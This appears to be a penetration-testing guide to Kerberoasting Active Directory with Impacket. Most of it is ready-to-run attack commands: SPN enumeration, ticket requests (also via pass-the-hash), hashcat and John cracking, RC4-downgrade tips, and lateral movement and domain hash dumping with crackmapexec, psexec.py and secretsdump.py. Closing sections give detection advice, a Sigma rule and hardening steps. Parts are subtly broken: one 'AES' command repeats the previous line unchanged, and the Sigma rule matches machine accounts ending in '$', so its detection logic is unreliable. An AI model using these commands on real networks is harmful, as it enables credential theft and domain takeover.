Exploiting Kerberoasting With Impacket

Exploiting Kerberoasting with Impacket

Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.

When to Use

• When performing authorized security testing that involves exploiting kerberoasting with impacket
• When analyzing malware samples or attack artifacts in a controlled environment
• When conducting red team exercises or penetration testing engagements
• When building detection capabilities based on offensive technique understanding

Most Often Missed & How to Confirm

• Roasting accounts you can't crack. A $krb5tgs$ hash is only a win if the password is weak. gMSA/managed accounts (240-char random) won't crack — triage by PasswordLastSet age and prioritize stale, human-set service passwords.
• Defaulting to AES tickets. If the account supports AES you'll get mode 19700 (far slower to crack). Use Rubeus /tgtdeleg or downgrade tactics to pull crackable RC4 (etype 0x17, hashcat -m 13100) where the account allows it.
• Mangled hash files. Line wrapping from GetUserSPNs.py output breaks hashcat; keep one hash per line.
• Targeting krbtgt (not roastable) or ignoring AdminCount=1 / Domain Admin SPN holders that give the highest payoff.
• How to confirm a hit: the success signal is a cracked plaintext — hashcat -m 13100 <file> --show prints ...:Summer2024!. Then prove it's usable: crackmapexec smb <dc> -u svc_sql -p 'Summer2024!' returns [+], and if the account is privileged secretsdump.py corp.local/svc_sql:'...'@dc -just-dc-ntlm runs. Don't conclude an account is "uncrackable" until you've requested an RC4 ticket (not just AES) and run it against a real wordlist + rules; an unbroken AES hash is not proof of a strong password.

Prerequisites

• Valid domain credentials (any domain user can request TGS tickets)
• Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
• Impacket installed (pip install impacket)
• Hashcat or John the Ripper for offline cracking
• Wordlist (e.g., rockyou.txt, SecLists)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Step 1: Enumerate Kerberoastable Accounts

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

1. Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
2. Set strong passwords (25+ chars) on all service accounts
3. Enable AES-only encryption - Disable RC4 via GPO
4. Monitor Event ID 4769 for RC4 TGS requests
5. Implement Managed Service Accounts where gMSA is not feasible
6. Regular audits - Run BloodHound to identify Kerberoastable accounts
7. Protected Users group - Add sensitive service accounts
8. Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

References

• MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
• Impacket: https://github.com/fortra/impacket
• Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
• Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/